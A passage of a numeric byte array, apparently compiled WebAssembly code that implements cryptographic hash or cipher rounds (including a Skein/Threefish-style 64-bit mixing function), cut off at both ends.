58,32,6,65,20,106,33,59,32,6,65,24,106,33,60,32,6,65,28,106,33,61,32,6,65,32,106,33,62,32,6,65,36,106,33,63,32,6,65,40,106,33,64,32,6,65,44,106,33,65,32,6,65,48,106,33,66,32,6,65,52,106,33,67,32,6,65,56,106,33,68,32,6,65,60,106,33,69,32,0,65,192,0,106,33,23,32,0,65,196,0,106,33,24,32,0,65,44,106,34,25,40,2,0,33,26,32,0,65,48,106,34,27,40,2,0,33,28,32,0,65,52,106,34,29,40,2,0,33,30,32,0,65,56,106,34,31,40,2,0,33,32,32,0,65,60,106,34,33,40,2,0,33,34,32,0,65,4,106,34,35,40,2,0,33,36,32,0,65,8,106,34,37,40,2,0,33,38,32,0,65,12,106,34,39,40,2,0,33,40,32,0,65,16,106,34,41,40,2,0,33,42,32,0,65,20,106,34,43,40,2,0,33,44,32,0,65,24,106,34,45,40,2,0,33,46,32,0,65,28,106,34,47,40,2,0,33,48,32,0,65,32,106,34,49,40,2,0,33,50,32,0,65,36,106,34,51,40,2,0,33,52,32,0,65,40,106,34,53,40,2,0,33,54,3,64,32,3,32,1,41,2,0,55,2,0,32,3,32,1,41,2,8,55,2,8,32,3,32,1,41,2,16,55,2,16,32,3,32,1,41,2,24,55,2,24,32,3,32,1,41,2,32,55,2,32,32,3,32,1,41,2,40,55,2,40,32,3,32,1,41,2,48,55,2,48,32,3,32,1,41,2,56,55,2,56,32,5,32,0,40,2,0,32,1,40,2,0,115,54,2,0,32,8,32,1,40,2,4,32,36,115,54,2,0,32,9,32,1,40,2,8,32,38,115,54,2,0,32,10,32,1,40,2,12,32,40,115,54,2,0,32,11,32,1,40,2,16,32,42,115,54,2,0,32,12,32,1,40,2,20,32,44,115,54,2,0,32,13,32,1,40,2,24,32,46,115,54,2,0,32,14,32,1,40,2,28,32,48,115,54,2,0,32,15,32,1,40,2,32,32,50,115,54,2,0,32,16,32,1,40,2,36,32,52,115,54,2,0,32,17,32,1,40,2,40,32,54,115,54,2,0,32,18,32,1,40,2,44,32,26,115,54,2,0,32,19,32,1,40,2,48,32,28,115,54,2,0,32,20,32,1,40,2,52,32,30,115,54,2,0,32,21,32,1,40,2,56,32,32,115,54,2,0,32,22,32,1,40,2,60,32,34,115,54,2,0,32,3,32,4,65,0,16,13,32,4,32,3,65,128,128,128,8,16,13,32,3,32,4,65,128,128,128,16,16,13,32,4,32,3,65,128,128,128,24,16,13,32,3,32,4,65,128,128,128,32,16,13,32,4,32,3,65,128,128,128,40,16,13,32,3,32,4,65,128,128,128,48,16,13,32,4,32,3,65,128,128,128,56,16,13,32,3,32,4,65,128,128,128,192,0,16,13,32,4,32,6,65,128,128,128,200,0,16,13,32,5,32,4,65,0,16,9,32,4,32,3,65,1,16,9,32,3,32,4,65,2,16,9,32,4,32,3,65,3,16,9,32,3,32,4,65,4,16,9,32,4,32,3,65,5,16,9,32,3,32,4,65,6,16,9,32,4,32,3,65,7,16,9,32,3,32,4,65,8,16,9,32,4,32,5,65,9,16,9,32,0,32,6,40,2,0,32,5,40,2,0,115,32,0,40,2,0,115,54,2,0,32,35,32,55,40,2,0,32,8,40,2,0,115,32,35,40,2,0,115,34,36,54,2,0,32,37,32,56,40,2,0,32,9,40,2,0,115,32,37,40,2,0,115,34,38,54,2,0,32,39,32,57,40,2,0,32,10,40,2,0,115,32,39,40,2,0,115,34,40,54,2,0,32,41,32,58,40,2,0,32,11,40,2,0,115,32,41,40,2,0,115,34,42,54,2,0,32,43,32,59,40,2,0,32,12,40,2,0,115,32,43,40,2,0,115,34,44,54,2,0,32,45,32,60,40,2,0,32,13,40,2,0,115,32,45,40,2,0,115,34,46,54,2,0,32,47,32,61,40,2,0,32,14,40,2,0,115,32,47,40,2,0,115,34,48,54,2,0,32,49,32,62,40,2,0,32,15,40,2,0,115,32,49,40,2,0,115,34,50,54,2,0,32,51,32,63,40,2,0,32,16,40,2,0,115,32,51,40,2,0,115,34,52,54,2,0,32,53,32,64,40,2,0,32,17,40,2,0,115,32,53,40,2,0,115,34,54,54,2,0,32,25,32,65,40,2,0,32,18,40,2,0,115,32,25,40,2,0,115,34,26,54,2,0,32,27,32,66,40,2,0,32,19,40,2,0,115,32,27,40,2,0,115,34,28,54,2,0,32,29,32,67,40,2,0,32,20,40,2,0,115,32,29,40,2,0,115,34,30,54,2,0,32,31,32,68,40,2,0,32,21,40,2,0,115,32,31,40,2,0,115,34,32,54,2,0,32,33,32,69,40,2,0,32,22,40,2,0,115,32,33,40,2,0,115,34,34,54,2,0,32,23,32,23,40,2,0,65,1,106,34,7,54,2,0,32,7,69,4,64,32,24,32,24,40,2,0,65,1,106,54,2,0,11,32,2,65,64,106,33,7,32,1,65,192,0,106,33,1,32,2,65,255,0,74,4,64,32,7,33,2,12,1,11,11,32,3,36,4,11,226,7,1,15,127,35,4,33,6,35,4,65,16,106,36,4,32,0,40,2,0,34,2,4,64,32,2,40,2,4,34,3,4,64,32,3,16,12,32,0,40,2,0,65,0,54,2,4,32,0,40,2,0,33,2,11,32,2,40,2,12,34,3,4,64,32,3,16,12,32,0,40,2,0,65,0,54,2,12,32,0,40,2,0,33,2,11,32,2,16,12,32,0,65,0,54,2,0,11,65,24,16,16,34,3,4,64,32,3,65,124,106,40,2,0,65,3,113,4,64,32,3,66,0,55,0,0,32,3,66,0,55,0,8,32,3,66,0,55,0,16,11,11,32,0,32,3,54,2,0,32,3,65,32,54,2,0,65,32,16,16,34,2,4,64,32,2,65,124,106,40,2,0,65,3,113,4,64,32,2,66,0,55,0,0,32,2,66,0,55,0,8,32,2,66,0,55,0,16,32,2,66,0,55,0,24,11,11,32,3,32,2,54,2,4,32,2,32,1,41,0,0,55,0,0,32,2,32,1,41,0,8,55,0,8,32,2,32,1,41,0,16,55,0,16,32,2,32,1,41,0,24,55,0,24,32,0,40,2,0,34,2,40,2,0,65,2,118,33,1,32,2,65,20,106,34,4,32,1,54,2,0,32,2,65,16,106,34,7,32,1,65,7,106,34,1,54,2,0,32,2,32,1,65,4,116,34,3,54,2,8,32,3,16,16,34,1,4,64,32,1,65,124,106,40,2,0,65,3,113,4,64,32,1,65,0,32,3,16,14,26,11,11,32,2,32,1,54,2,12,32,1,32,2,40,2,4,32,2,40,2,0,16,11,26,32,4,40,2,0,34,1,32,7,40,2,0,65,2,116,79,4,64,32,6,36,4,15,11,32,6,65,1,106,33,9,32,6,65,2,106,33,11,32,6,65,3,106,33,12,32,1,33,8,3,64,32,6,32,2,40,2,12,34,13,32,1,65,2,116,34,10,65,124,106,106,40,0,0,34,5,54,2,0,32,5,65,8,118,33,14,32,5,65,16,118,33,15,32,5,65,24,118,33,3,32,1,32,8,112,34,16,4,64,32,15,65,255,1,113,33,2,32,14,65,255,1,113,33,7,32,5,65,255,1,113,33,4,32,8,65,6,75,32,16,65,4,70,113,4,64,32,6,32,5,65,4,118,65,15,113,65,4,116,65,240,201,0,106,32,5,65,15,113,106,44,0,0,34,4,58,0,0,32,9,32,5,65,12,118,65,15,113,65,4,116,65,240,201,0,106,32,14,65,15,113,106,44,0,0,34,7,58,0,0,32,11,32,5,65,20,118,65,15,113,65,4,116,65,240,201,0,106,32,15,65,15,113,106,44,0,0,34,2,58,0,0,32,12,32,5,65,28,118,65,4,116,65,240,201,0,106,32,3,65,15,113,106,44,0,0,34,3,58,0,0,11,5,32,6,32,9,65,3,16,31,26,32,6,45,0,0,34,2,65,4,118,65,4,116,65,240,201,0,106,32,2,65,15,113,106,44,0,0,33,4,32,9,32,9,45,0,0,34,2,65,4,118,65,4,116,65,240,201,0,106,32,2,65,15,113,106,44,0,0,34,7,58,0,0,32,11,32,11,45,0,0,34,2,65,4,118,65,4,116,65,240,201,0,106,32,2,65,15,113,106,44,0,0,34,2,58,0,0,32,12,32,5,65,4,118,65,15,113,65,4,116,65,240,201,0,106,32,5,65,15,113,106,44,0,0,34,3,58,0,0,32,6,32,1,32,8,110,65,239,203,0,106,44,0,0,32,4,115,34,4,58,0,0,11,32,13,32,10,106,32,13,32,1,32,8,107,65,2,116,106,44,0,0,32,4,115,58,0,0,32,0,40,2,0,34,4,40,2,12,34,8,32,10,65,1,114,106,32,8,32,1,32,4,40,2,20,107,65,2,116,65,1,114,106,44,0,0,32,7,115,58,0,0,32,0,40,2,0,34,4,40,2,12,34,7,32,10,65,2,114,106,32,7,32,1,32,4,40,2,20,107,65,2,116,65,2,114,106,44,0,0,32,2,115,58,0,0,32,0,40,2,0,34,2,40,2,12,34,4,32,10,65,3,114,106,32,4,32,1,32,2,40,2,20,107,65,2,116,65,3,114,106,44,0,0,32,3,115,58,0,0,32,1,65,1,106,34,1,32,0,40,2,0,34,2,40,2,16,65,2,116,73,4,64,32,2,40,2,20,33,8,12,1,11,11,32,6,36,4,11,175,27,2,5,127,27,126,32,3,173,33,29,32,2,65,127,106,173,33,30,32,0,65,8,106,34,3,41,3,0,34,31,33,27,32,0,65,16,106,34,4,41,3,0,33,25,32,0,65,48,106,34,5,41,3,0,33,22,32,0,65,40,106,34,6,41,3,0,33,16,32,0,65,32,106,34,7,41,3,0,33,23,32,0,65,24,106,34,8,41,3,0,33,17,3,64,32,27,32,29,124,34,27,32,25,133,33,14,32,1,65,32,106,33,0,32,1,41,0,16,34,32,32,25,32,16,124,34,18,124,32,1,41,0,24,34,33,32,22,124,34,15,124,33,24,32,15,66,16,134,32,15,66,48,136,132,32,24,133,34,15,32,1,41,0,0,34,34,32,17,124,32,1,41,0,8,34,35,32,27,32,23,124,34,20,124,34,19,124,34,10,124,33,9,32,15,66,52,134,32,15,66,12,136,132,32,9,133,34,15,32,19,66,14,134,32,19,66,50,136,132,32,10,133,34,19,32,24,124,34,21,124,33,24,32,15,66,40,134,32,15,66,24,136,132,32,24,133,34,10,32,19,66,57,134,32,19,66,7,136,132,32,21,133,34,15,32,9,124,34,9,124,33,19,32,15,66,23,134,32,15,66,41,136,132,32,9,133,34,9,32,24,124,34,11,32,14,32,22,124,34,24,124,32,22,66,162,180,240,207,170,251,198,232,27,133,32,16,133,32,23,133,32,17,133,34,15,66,1,124,32,10,66,5,134,32,10,66,59,136,132,32,19,133,124,34,10,124,33,21,32,10,66,33,134,32,10,66,31,136,132,32,21,133,34,10,32,19,32,23,124,32,9,66,37,134,32,9,66,27,136,132,32,11,133,32,18,124,34,19,124,34,11,124,33,9,32,10,66,46,134,32,10,66,18,136,132,32,9,133,34,10,32,19,66,25,134,32,19,66,39,136,132,32,11,133,34,19,32,21,124,34,11,124,33,21,32,10,66,22,134,32,10,66,42,136,132,32,21,133,34,10,32,19,66,12,134,32,19,66,52,136,132,32,11,133,34,19,32,9,124,34,11,124,33,9,32,19,66,58,134,32,19,66,6,136,132,32,11,133,34,11,32,21,124,34,12,32,15,32,27,124,34,19,124,32,17,66,2,124,32,10,66,32,134,32,10,66,32,136,132,32,9,133,124,34,10,124,33,21,32,10,66,16,134,32,10,66,48,136,132,32,21,133,34,10,32,9,32,16,124,32,11,66,32,134,32,11,66,32,136,132,32,12,133,32,24,124,34,9,124,34,12,124,33,11,32,10,66,52,134,32,10,66,12,136,132,32,11,133,34,10,32,9,66,14,134,32,9,66,50,136,132,32,12,133,34,9,32,21,124,34,12,124,33,21,32,10,66,40,134,32,10,66,24,136,132,32,21,133,34,10,32,9,66,57,134,32,9,66,7,136,132,32,12,133,34,9,32,11,124,34,12,124,33,11,32,9,66,23,134,32,9,66,41,136,132,32,12,133,34,9,32,21,124,34,13,32,25,32,17,124,34,21,124,32,23,66,3,124,32,10,66,5,134,32,10,66,59,136,132,32,11,133,124,34,10,124,33,12,32,10,66,33,134,32,10,66,31,136,132,32,12,133,34,10,32,11,32,22,124,32,9,66,37,134,32,9,66,27,136,132,32,13,133,32,19,124,34,9,124,34,13,124,33,11,32,10,66,46,134,32,10,66,18,136,132,32,11,133,34,10,32,9,66,25,134,32,9,66,39,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,22,134,32,10,66,42,136,132,32,12,133,34,10,32,9,66,12,134,32,9,66,52,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,58,134,32,9,66,6,136,132,32,13,133,34,9,32,12,124,34,13,32,14,32,23,124,34,26,124,32,16,66,4,124,32,10,66,32,134,32,10,66,32,136,132,32,11,133,124,34,10,124,33,12,32,10,66,16,134,32,10,66,48,136,132,32,12,133,34,10,32,11,32,15,124,32,9,66,32,134,32,9,66,32,136,132,32,13,133,32,21,124,34,9,124,34,13,124,33,11,32,10,66,52,134,32,10,66,12,136,132,32,11,133,34,10,32,9,66,14,134,32,9,66,50,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,40,134,32,10,66,24,136,132,32,12,133,34,10,32,9,66,57,134,32,9,66,7,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,23,134,32,9,66,41,136,132,32,13,133,34,9,32,12,124,34,13,32,27,32,16,124,34,28,124,32,22,66,5,124,32,10,66,5,134,32,10,66,59,136,132,32,11,133,124,34,10,124,33,12,32,10,66,33,134,32,10,66,31,136,132,32,12,133,34,10,32,11,32,17,124,32,9,66,37,134,32,9,66,27,136,132,32,13,133,32,26,124,34,9,124,34,13,124,33,11,32,10,66,46,134,32,10,66,18,136,132,32,11,133,34,10,32,9,66,25,134,32,9,66,39,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,22,134,32,10,66,42,136,132,32,12,133,34,10,32,9,66,12,134,32,9,66,52,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,58,134,32,9,66,6,136,132,32,13,133,34,9,32,12,124,34,13,32,25,32,22,124,34,26,124,32,15,66,6,124,32,10,66,32,134,32,10,66,32,136,132,32,11,133,124,34,10,124,33,12,32,10,66,16,134,32,10,66,48,136,132,32,12,133,34,10,32,11,32,23,124,32,9,66,32,134,32,9,66,32,136,132,32,13,133,32,28,124,34,9,124,34,13,124,33,11,32,10,66,52,134,32,10,66,12,136,132,32,11,133,34,10,32,9,66,14,134,32,9,66,50,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,40,134,32,10,66,24,136,132,32,12,133,34,10,32,9,66,57,134,32,9,66,7,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,23,134,32,9,66,41,136,132,32,13,133,34,9,32,12,124,34,13,32,15,32,14,124,34,28,124,32,17,66,7,124,32,10,66,5,134,32,10,66,59,136,132,32,11,133,124,34,10,124,33,12,32,10,66,33,134,32,10,66,31,136,132,32,12,133,34,10,32,11,32,16,124,32,9,66,37,134,32,9,66,27,136,132,32,13,133,32,26,124,34,9,124,34,13,124,33,11,32,10,66,46,134,32,10,66,18,136,132,32,11,133,34,10,32,9,66,25,134,32,9,66,39,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,22,134,32,10,66,42,136,132,32,12,133,34,10,32,9,66,12,134,32,9,66,52,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,58,134,32,9,66,6,136,132,32,13,133,34,9,32,12,124,34,13,32,27,32,17,124,34,26,124,32,23,66,8,124,32,10,66,32,134,32,10,66,32,136,132,32,11,133,124,34,10,124,33,12,32,10,66,16,134,32,10,66,48,136,132,32,12,133,34,10,32,11,32,22,124,32,9,66,32,134,32,9,66,32,136,132,32,13,133,32,28,124,34,9,124,34,13,124,33,11,32,10,66,52,134,32,10,66,12,136,132,32,11,133,34,10,32,9,66,14,134,32,9,66,50,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,40,134,32,10,66,24,136,132,32,12,133,34,10,32,9,66,57,134,32,9,66,7,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,23,134,32,9,66,41,136,132,32,13,133,34,9,32,12,124,34,13,32,25,32,23,124,34,28,124,32,16,66,9,124,32,10,66,5,134,32,10,66,59,136,132,32,11,133,124,34,10,124,33,12,32,10,66,33,134,32,10,66,31,136,132,32,12,133,34,10,32,11,32,15,124,32,9,66,37,134,32,9,66,27,136,132,32,13,133,32,26,124,34,9,124,34,13,124,33,11,32,10,66,46,134,32,10,66,18,136,132,32,11,133,34,10,32,9,66,25,134,32,9,66,39,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,22,134,32,10,66,42,136,132,32,12,133,34,10,32,9,66,12,134,32,9,66,52,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,58,134,32,9,66,6,136,132,32,13,133,34,9,32,12,124,34,13,32,14,32,16,124,34,26,124,32,22,66,10,124,32,10,66,32,134,32,10,66,32,136,132,32,11,133,124,34,10,124,33,12,32,10,66,16,134,32,10,66,48,136,132,32,12,133,34,10,32,11,32,17,124,32,9,66,32,134,32,9,66,32,136,132,32,13,133,32,28,124,34,9,124,34,13,124,33,11,32,10,66,52,134,32,10,66,12,136,132,32,11,133,34,10,32,9,66,14,134,32,9,66,50,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,40,134,32,10,66,24,136,132,32,12,133,34,10,32,9,66,57,134,32,9,66,7,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,23,134,32,9,66,41,136,132,32,13,133,34,9,32,12,124,34,13,32,27,32,22,124,34,28,124,32,15,66,11,124,32,10,66,5,134,32,10,66,59,136,132,32,11,133,124,34,10,124,33,12,32,10,66,33,134,32,10,66,31,136,132,32,12,133,34,10,32,11,32,23,124,32,9,66,37,134,32,9,66,27,136,132,32,13,133,32,26,124,34,9,124,34,13,124,33,11,32,10,66,46,134,32,10,66,18,136,132,32,11,133,34,10,32,9,66,25,134,32,9,66,39,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,22,134,32,10,66,42,136,132,32,12,133,34,10,32,9,66,12,134,32,9,66,52,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,58,134,32,9,66,6,136,132,32,13,133,34,9,32,12,124,34,13,32,15,32,25,124,34,26,124,32,17,66,12,124,32,10,66,32,134,32,10,66,32,136,132,32,11,133,124,34,10,124,33,12,32,10,66,16,134,32,10,66,48,136,132,32,12,133,34,10,32,11,32,16,124,32,9,66,32,134,32,9,66,32,136,132,32,13,133,32,28,124,34,9,124,34,13,124,33,11,32,10,66,52,134,32,10,66,12,136,132,32,11,133,34,10,32,9,66,14,134,32,9,66,50,136,132,32,13,133,34,9,32,12,124,34,13,124,33,12,32,10,66,40,134,32,10,66,24,136,132,32,12,133,34,10,32,9,66,57,134,32,9,66,7,136,132,32,13,133,34,9,32,11,124,34,13,124,33,11,32,9,66,23,134,32,9,66,41,136,132,32,13,133,34,9,32,12,124,34,12,32,14,32,17,124,34,13,124,32,23,66,13,124,32,10,66,5,134,32,10,66,59,136,132,32,11,133,124,34,14,124,33,10,32,14,66,33,134,32,14,66,31,136,132,32,10,133,34,14,32,11,32,22,124,32,9,66,37,134,32,9,66,27,136,132,32,12,133,32,26,124,34,9,124,34,12,124,33,11,32,14,66,46,134,32,14,66,18,136,132,32,11,133,34,14,32,9,66,25,134,32,9,66,39,136,132,32,12,133,34,9,32,10,124,34,12,124,33,10,32,14,66,22,134,32,14,66,42,136,132,32,10,133,34,14,32,9,66,12,134,32,9,66,52,136,132,32,12,133,34,9,32,11,124,34,12,124,33,11,32,9,66,58,134,32,9,66,6,136,132,32,12,133,34,9,32,10,124,34,12,32,20,124,32,16,66,14,124,32,14,66,32,134,32,14,66,32,136,132,32,11,133,124,34,14,124,33,10,32,14,66,16,134,32,14,66,48,136,132,32,10,133,34,14,32,11,32,15,124,32,9,66,32,134,32,9,66,32,136,132,32,12,133,32,13,124,34,9,124,34,12,124,33,11,32,14,66,52,134,32,14,66,12,136,132,32,11,133,34,14,32,9,66,14,134,32,9,66,50,136,132,32,12,133,34,9,32,10,124,34,12,124,33,10,32,14,66,40,134,32,14,66,24,136,132,32,10,133,34,14,32,9,66,57,134,32,9,66,7,136,132,32,12,133,34,9,32,11,124,34,12,124,33,11,32,9,66,23,134,32,9,66,41,136,132,32,12,133,34,9,32,10,124,34,12,32,18,124,32,22,66,15,124,32,14,66,5,134,32,14,66,59,136,132,32,11,133,124,34,14,124,33,10,32,14,66,33,134,32,14,66,31,136,132,32,10,133,34,14,32,11,32,17,124,32,9,66,37,134,32,9,66,27,136,132,32,12,133,32,20,124,34,20,124,34,11,124,33,9,32,14,66,46,134,32,14,66,18,136,132,32,9,133,34,14,32,20,66,25,134,32,20,66,39,136,132,32,11,133,34,20,32,10,124,34,11,124,33,10,32,14,66,22,134,32,14,66,42,136,132,32,10,133,34,14,32,20,66,12,134,32,20,66,52,136,132,32,11,133,34,20,32,9,124,34,11,124,33,9,32,20,66,58,134,32,20,66,6,136,132,32,11,133,34,20,32,10,124,34,10,32,24,124,32,15,66,16,124,32,14,66,32,134,32,14,66,32,136,132,32,9,133,124,34,15,124,33,14,32,15,66,16,134,32,15,66,48,136,132,32,14,133,34,15,32,9,32,23,124,32,20,66,32,134,32,20,66,32,136,132,32,10,133,32,18,124,34,18,124,34,9,124,33,20,32,15,66,52,134,32,15,66,12,136,132,32,20,133,34,15,32,18,66,14,134,32,18,66,50,136,132,32,9,133,34,18,32,14,124,34,9,124,33,14,32,15,66,40,134,32,15,66,24,136,132,32,14,133,34,15,32,18,66,57,134,32,18,66,7,136,132,32,9,133,34,18,32,20,124,34,9,124,33,20,32,18,66,23,134,32,18,66,41,136,132,32,9,133,34,18,32,14,124,34,14,32,19,124,32,17,66,17,124,32,15,66,5,134,32,15,66,59,136,132,32,20,133,124,34,17,124,33,15,32,17,66,33,134,32,17,66,31,136,132,32,15,133,34,17,32,20,32,16,124,32,18,66,37,134,32,18,66,27,136,132,32,14,133,32,24,124,34,16,124,34,18,124,33,14,32,16,66,25,134,32,16,66,39,136,132,32,18,133,34,16,32,15,124,33,15,32,16,66,12,134,32,16,66,52,136,132,32,15,133,34,16,32,14,124,33,18,32,16,66,58,134,32,16,66,6,136,132,32,18,133,34,16,32,17,66,46,134,32,17,66,18,136,132,32,14,133,34,17,32,15,124,34,15,124,33,14,32,8,32,17,66,22,134,32,17,66,42,136,132,32,15,133,34,24,32,18,124,34,18,32,22,124,32,34,133,34,17,55,3,0,32,7,32,16,66,32,134,32,16,66,32,136,132,32,14,133,32,19,124,32,35,133,34,15,55,3,0,32,6,32,14,32,21,124,32,32,133,34,16,55,3,0,32,5,32,23,66,18,124,32,24,66,32,134,32,24,66,32,136,132,32,18,133,124,32,33,133,34,22,55,3,0,32,25,66,255,255,255,255,255,255,255,255,191,127,131,33,25,32,2,65,127,106,34,2,4,64,32,0,33,1,32,15,33,23,12,1,11,11,32,3,32,31,32,30,66,1,124,32,29,126,124,55,3,0,32,4,32,25,55,3,0,11,178,23,2,59,127,45,126,35,4,33,4,35,4,65,192,2,106,36,4,32,4,32,0,65,8,106,34,8,41,3,0,34,64,55,3,0,32,4,65,8,106,34,6,32,0,65,16,106,34,9,41,3,0,34,63,55,3,0,32,3,173,33,91,32,4,65,24,106,33,5,32,4,65,32,106,33,10,32,4,65,40,106,33,11,32,4,65,48,106,33,12,32,4,65,56,106,33,13,32,4,65,192,0,106,33,14,32,4,65,200,0,106,33,15,32,4,65,208,0,106,33,16,32,4,65,216,0,106,33,17,32,4,65,224,0,106,33,18,32,4,65,232,0,106,33,19,32,4,65,240,0,106,33,20,32,4,65,248,0,106,33,21,32,4,65,128,1,106,33,22,32,4,65,136,1,106,33,23,32,4,65,144,1,106,33,24,32,4,65,152,1,106,33,25,32,4,65,16,106,33,26,32,1,33,3,32,64,33,84,32,0,65,24,106,34,27,41,3,0,33,72,32,0,65,32,106,34,28,41,3,0,33,76,32,0,65,40,106,34,29,41,3,0,33,74,32,0,65,48,106,34,30,41,3,0,33,73,32,0,65,56,106,34,31,41,3,0,33,75,32,0,65,192,0,106,34,32,41,3,0,33,70,32,0,65,200,0,106,34,33,41,3,0,33,71,32,0,65,208,0,106,34,34,41,3,0,33,66,32,0,65,216,0,106,34,35,41,3,0,33,77,32,0,65,224,0,106,34,36,41,3,0,33,68,32,0,65,232,0,106,34,37,41,3,0,33,67,32,0,65,240,0,106,34,38,41,3,0,33,69,32,0,65,248,0,106,34,39,41,3,0,33,78,32,0,65,128,1,106,34,40,41,3,0,33,81,32,0,65,136,1,106,34,41,41,3,0,33,65,32,0,65,144,1,106,34,42,41,3,0,33,64,3,64,32,4,32,84,32,91,124,34,82,55,3,0,32,5,32,72,55,3,0,32,10,32,76,55,3,0,32,11,32,74,55,3,0,32,12,32,73,55,3,0,32,13,32,75,55,3,0,32,14,32,70,55,3,0,32,15,32,71,55,3,0,32,16,32,66,55,3,0,32,17,32,77,55,3,0,32,18,32,68,55,3,0,32,19,32,67,55,3,0,32,20,32,69,55,3,0,32,21,32,78,55,3,0,32,22,32,81,55,3,0,32,23,32,65,55,3,0,32,24,32,64,55,3,0,32,25,32,64,66,162,180,240,207,170,251,198,232,27,133,32,65,133,32,81,133,32,78,133,32,69,133,32,67,133,32,68,133,32,77,133,32,66,133,32,71,133,32,70,133,32,75,133,32,73,133,32,74,133,32,76,133,32,72,133,55,3,0,32,26,32,82,32,63,133,55,3,0,65,1,33,1,32,3,41,0,0,34,92,32,72,124,33,72,32,3,41,0,8,34,93,32,76,124,33,76,32,3,41,0,16,34,94,32,74,124,33,74,32,3,41,0,24,34,95,32,73,124,33,73,32,3,41,0,32,34,96,32,75,124,33,75,32,3,41,0,40,34,97,32,70,124,33,70,32,3,41,0,48,34,98,32,71,124,33,71,32,3,41,0,56,34,99,32,66,124,33,66,32,3,41,0,64,34,100,32,77,124,33,77,32,3,41,0,72,34,101,32,68,124,33,68,32,3,41,0,80,34,102,32,67,124,33,67,32,3,41,0,88,34,103,32,69,124,33,69,32,3,41,0,96,34,104,32,78,124,33,78,32,3,41,0,120,34,105,32,64,124,33,63,32,3,41,0,112,34,106,32,65,124,32,6,41,3,0,124,33,64,32,82,32,81,124,32,3,41,0,104,34,107,124,33,65,3,64,32,76,66,24,134,32,76,66,40,136,132,32,76,32,72,124,34,76,133,33,85,32,73,66,13,134,32,73,66,51,136,132,32,73,32,74,124,34,73,133,33,79,32,70,66,8,134,32,70,66,56,136,132,32,70,32,75,124,34,70,133,33,84,32,66,66,47,134,32,66,66,17,136,132,32,66,32,71,124,34,66,133,33,75,32,69,66,17,134,32,69,66,47,136,132,32,69,32,67,124,34,67,133,34,80,32,66,124,33,81,32,63,66,37,134,32,63,66,27,136,132,32,64,32,63,124,34,69,133,34,82,32,70,124,33,71,32,67,32,75,124,34,66,32,75,66,49,134,32,75,66,15,136,132,133,34,83,32,68,66,8,134,32,68,66,56,136,132,32,68,32,77,124,34,64,133,34,72,32,76,124,34,68,124,33,88,32,65,66,22,134,32,65,66,42,136,132,32,65,32,78,124,34,63,133,34,74,32,73,124,34,67,32,69,32,84,124,34,69,32,84,66,23,134,32,84,66,41,136,132,133,34,65,124,34,78,32,65,66,4,134,32,65,66,60,136,132,133,33,86,32,63,32,79,124,34,65,32,79,66,18,134,32,79,66,46,136,132,133,34,75,32,71,124,33,84,32,81,32,64,32,85,124,34,64,32,85,66,52,134,32,85,66,12,136,132,133,34,77,124,34,63,32,77,66,13,134,32,77,66,51,136,132,133,33,79,32,82,66,55,134,32,82,66,9,136,132,32,71,133,34,70,32,65,124,33,71,32,74,66,19,134,32,74,66,45,136,132,32,67,133,34,65,32,69,124,33,77,32,80,66,10,134,32,80,66,54,136,132,32,81,133,34,69,32,64,124,33,67,32,65,66,41,134,32,65,66,23,136,132,32,77,133,34,81,32,63,124,33,82,32,75,66,51,134,32,75,66,13,136,132,32,84,133,34,65,32,72,66,38,134,32,72,66,26,136,132,32,68,133,34,64,32,66,124,34,63,124,33,72,32,70,66,34,134,32,70,66,30,136,132,32,71,133,34,76,32,88,124,34,74,32,5,32,1,65,3,116,106,34,43,41,3,0,124,33,73,32,77,32,79,124,34,75,32,79,66,47,134,32,79,66,17,136,132,133,32,5,32,1,65,1,106,34,7,65,3,116,106,34,44,41,3,0,124,33,79,32,69,66,59,134,32,69,66,5,136,132,32,67,133,34,66,32,78,124,34,69,32,5,32,1,65,2,106,34,0,65,3,116,106,34,45,41,3,0,124,33,70,32,65,66,16,134,32,65,66,48,136,132,32,72,133,32,5,32,1,65,3,106,34,46,65,3,116,106,34,47,41,3,0,124,33,80,32,5,32,1,65,4,106,65,3,116,106,34,48,41,3,0,32,84,32,64,66,17,134,32,64,66,47,136,132,32,63,133,34,68,124,34,78,124,33,65,32,86,66,28,134,32,86,66,36,136,132,32,86,32,67,124,34,64,133,32,5,32,1,65,5,106,65,3,116,106,34,49,41,3,0,124,33,87,32,5,32,1,65,6,106,65,3,116,106,34,50,41,3,0,33,77,32,5,32,1,65,7,106,65,3,116,106,34,51,41,3,0,32,71,32,83,66,33,134,32,83,66,31,136,132,32,88,133,34,67,124,34,63,32,67,66,25,134,32,67,66,39,136,132,133,124,33,85,32,5,32,1,65,8,106,65,3,116,106,34,52,41,3,0,32,64,124,33,71,32,5,32,1,65,9,106,65,3,116,106,34,53,41,3,0,32,68,66,41,134,32,68,66,23,136,132,32,78,133,124,33,83,32,5,32,1,65,10,106,65,3,116,106,34,54,41,3,0,32,72,124,33,64,32,5,32,1,65,11,106,65,3,116,106,34,55,41,3,0,32,66,66,20,134,32,66,66,44,136,132,32,69,133,124,33,72,32,5,32,1,65,12,106,65,3,116,106,34,56,41,3,0,32,63,124,33,66,32,5,32,1,65,13,106,65,3,116,106,34,57,41,3,0,32,81,66,48,134,32,81,66,16,136,132,32,82,133,124,32,4,32,1,65,3,116,106,34,58,41,3,0,124,33,86,32,5,32,1,65,14,106,65,3,116,106,34,59,41,3,0,33,68,32,4,32,7,65,3,116,106,34,60,41,3,0,33,67,32,76,66,5,134,32,76,66,59,136,132,32,74,133,32,1,173,34,88,124,32,5,